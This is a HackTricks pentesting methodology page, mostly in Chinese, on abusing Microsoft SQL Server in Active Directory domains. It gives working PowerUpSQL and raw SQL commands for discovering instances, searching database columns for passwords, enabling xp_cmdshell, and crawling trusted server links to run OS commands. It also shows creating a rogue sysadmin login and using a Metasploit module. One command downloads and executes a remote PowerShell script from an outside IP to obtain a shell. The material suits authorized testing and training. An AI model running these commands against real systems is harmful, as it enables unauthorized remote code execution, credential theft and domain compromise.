hacktricks/windows-hardening/active-directory-methodology/abusing-ad-mssql.md

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MSSQL AD 滥用

从零开始学习 AWS 黑客技术,成为专家 htARTEHackTricks AWS 红队专家)

MSSQL 枚举 / 发现

在这种情况下PowerUpSQL PowerShell 模块非常有用。

Import-Module .\PowerupSQL.psd1

无需域会话从网络枚举

# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo

#If you don't have a AD account, you can try to find MSSQL scanning via UDP
#First, you will need a list of hosts to scan
Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP Verbose Threads 10

#If you have some valid credentials and you have discovered valid MSSQL hosts you can try to login into them
#The discovered MSSQL servers must be on the file: C:\temp\instances.txt
Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test

从域内进行枚举

# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo

#Get info about valid MSQL instances running in domain
#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)
Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose

#Test connections with each one
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose

#Try to connect and obtain info from each MSSQL server (also useful to check conectivity)
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

# Get DBs, test connections and get info in oneliner
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo

MSSQL基本滥用

访问数据库

#Perform a SQL query
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select @@servername"

#Dump an instance (a lotof CVSs generated in current dir)
Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql"

# Search keywords in columns trying to access the MSSQL DBs
## This won't use trusted SQL links
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "password" -SampleSize 5 | select instance, database, column, sample | ft -autosize

MSSQL RCE

可能还可以在 MSSQL 主机内部执行命令

Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary

MSSQL基本黑客技巧

{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %} pentesting-mssql-microsoft-sql-server {% endcontent-ref %}

MSSQL信任链接

如果一个MSSQL实例被另一个MSSQL实例信任数据库链接。如果用户对受信任的数据库有特权他将能够利用信任关系在另一个实例中执行查询。这些信任关系可以被链接在一起,最终用户可能会找到一些配置不当的数据库,从而能够执行命令。

数据库之间的链接甚至可以跨越森林信任。

Powershell滥用

#Look for MSSQL links of an accessible instance
Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0

#Crawl trusted links, starting from the given one (the user being used by the MSSQL instance is also specified)
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Verbose

#If you are sysadmin in some trusted link you can enable xp_cmdshell with:
Get-SQLServerLinkCrawl -instance "<INSTANCE1>" -verbose -Query 'EXECUTE(''sp_configure ''''xp_cmdshell'''',1;reconfigure;'') AT "<INSTANCE2>"'

#Execute a query in all linked instances (try to execute commands), output should be in CustomQuery field
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Query "exec master..xp_cmdshell 'whoami'"

#Obtain a shell
Get-SQLServerLinkCrawl -Instance dcorp-mssql  -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1'')"'

#Check for possible vulnerabilities on an instance where you have access
Invoke-SQLAudit -Verbose -Instance "dcorp-mssql.dollarcorp.moneycorp.local"

#Try to escalate privileges on an instance
Invoke-SQLEscalatePriv Verbose Instance "SQLServer1\Instance1"

#Manual trusted link queery
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select * from openquery(""sql2.domain.io"", 'select * from information_schema.tables')"
## Enable xp_cmdshell and check it
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'SELECT * FROM OPENQUERY("sql2.domain.io", ''SELECT * FROM sys.configurations WHERE name = ''''xp_cmdshell'''''');'
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT [sql.rto.external]'
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT [sql.rto.external]'
## If you see the results of @@selectname, it worked
Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');'

Metasploit

您可以使用Metasploit轻松检查受信任的链接。

#Set username, password, windows auth (if using AD), IP...
msf> use exploit/windows/mssql/mssql_linkcrawler
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session

注意metasploit 将尝试仅滥用 MSSQL 中的 openquery() 函数(因此,如果您无法使用 openquery() 执行命令,则需要手动尝试 EXECUTE 方法来执行命令,详见下文。)

手动 - Openquery()

Linux 中,您可以使用 sqshmssqlclient.py 获得 MSSQL 控制台 shell。

Windows 中,您还可以找到链接,并使用类似 HeidiSQLMSSQL 客户端 手动执行命令。

使用 Windows 身份验证登录:

查找可信链接

select * from master..sysservers;
EXEC sp_linkedservers;

在可信链接中执行查询

通过链接执行查询(例如:在新可访问实例中查找更多链接):

select * from openquery("dcorp-sql1", 'select * from master..sysservers')

{% hint style="warning" %} 检查双引号和单引号的使用方式,以确保使用正确。 {% endhint %}

您可以手动无限延续这些受信任的链接链。

# First level RCE
SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''')

# Second level RCE
SELECT * FROM OPENQUERY("<computer1>", 'select * from openquery("<computer2>", ''select @@servername; exec xp_cmdshell ''''powershell -enc blah'''''')')

手动 - EXECUTE

您还可以使用EXECUTE来滥用受信任的链接:

#Create user and give admin privileges
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"

本地权限提升

MSSQL本地用户通常具有一种特殊特权,称为**SeImpersonatePrivilege**。这允许该帐户在身份验证后“模拟客户端”。

许多作者提出的一种策略是强制SYSTEM服务对攻击者创建的恶意或中间人服务进行身份验证。然后这个恶意服务能够在SYSTEM服务尝试进行身份验证时冒充SYSTEM服务。

SweetPotato收集了这些各种技术可以通过Beacon的execute-assembly命令执行。